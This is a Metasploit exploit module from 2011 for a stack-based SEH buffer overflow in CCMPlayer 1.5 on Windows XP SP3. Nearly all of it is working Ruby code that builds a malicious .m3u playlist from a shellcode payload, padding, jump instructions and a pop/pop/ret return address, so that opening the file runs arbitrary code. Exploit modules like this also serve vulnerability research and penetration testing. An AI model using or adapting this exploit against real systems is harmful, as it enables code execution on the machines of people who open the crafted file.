# Exploit: CCMPlayer 1.5 Stack based Buffer Overflow SEH Exploit (.m3u)
# Date: 30 Nov 2011
# Author: Rh0
# Software: CCMPlayer 1.5
# Tested on: Windows XP SP3 32-Bit EN (VirtualBox)

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CCMPlayer 1.5 Stack based Buffer Overflow (.m3u)',
      'Description'    => %q{
        This module exploits a stack based buffer overflow in CCMPlayer 1.5. Opening
        a m3u playlist with a long track name, a SEH exception record can be overwritten
        with parts of the controllable buffer. SEH execution is triggered after an
        invalid read of an injectible address, thus allowing arbitrary code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         => ['Rh0'],  # discovery and metasploit module
      'Version'        => '0.0',
      'References'     => 
        [
          # for info about "DisapleNops" and "StackAdjustment"
          ['URL', 'http://dev.metasploit.com/redmine/projects/framework/wiki/PortingExploits'],
          # for metasploit fileformat exploit structure and use of Metasm
          ['URL', 'http://www.exploit-db.com/exploits/18142/']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => 'true',
        },
      'Payload'        =>
        {
          'Space' => 0x1000,
          'BadChars' => "\x00\x0d\x0a\x1a\x2c\x2e\x3a\x5c", # \x00\r\n\x1a,.:\\
          'DisableNops' => 'True',
          'StackAdjustment' => -3500,
        },
      'Platform'    => 'win',
      'Targets'    =>
        [
          [
            'CCMPlayer 1.5 on Windows XP SP3 EN',
            {
              # pop esi / pop ebx / ret (in ccmplay.exe)
              # tweak it if necessary
              'Ret' => 0x00403ca7,  # last NULL in buffer is accepted
              'Offset' => 0x1000
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '30 Nov 2011', # to my knowledge
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('FILENAME', [ true, 'The file name.',  'msf.m3u']),
        ], self.class)
  end

  def exploit

    m3u = "C:\\"
    # shellcode
    m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "nop").encode_string * 25
    m3u << payload.encoded
    # junk
    m3u << rand_text_alpha_upper(target['Offset'] - (25 + payload.encoded.length))
    # need an access violation when reading next 4 bytes as address (0xFFFFFFFF)
    # to trigger SEH
    m3u << [0xffffffff].pack("V")
    # pad
    m3u << rand_text_alpha_upper(3)
    # long jmp: jmp far back to shellcode
    m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-4103").encode_string
    # NSEH: jmp short back to long jmp instruction
    m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string
    # pad (need more 2 bytes to fill up to 4, as jmp $-5 are only 2 bytes)
    m3u << rand_text_alpha_upper(2)
    # SEH Exception Handler Address -> p/p/r
    m3u << [target.ret].pack("V")
    m3u << ".mp3\r\n"  # no crash without it

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    # Open CCMPlayer -> Songs -> Add -> Files of type: m3u -> msf.m3u => exploit
    file_create(m3u)

  end 

end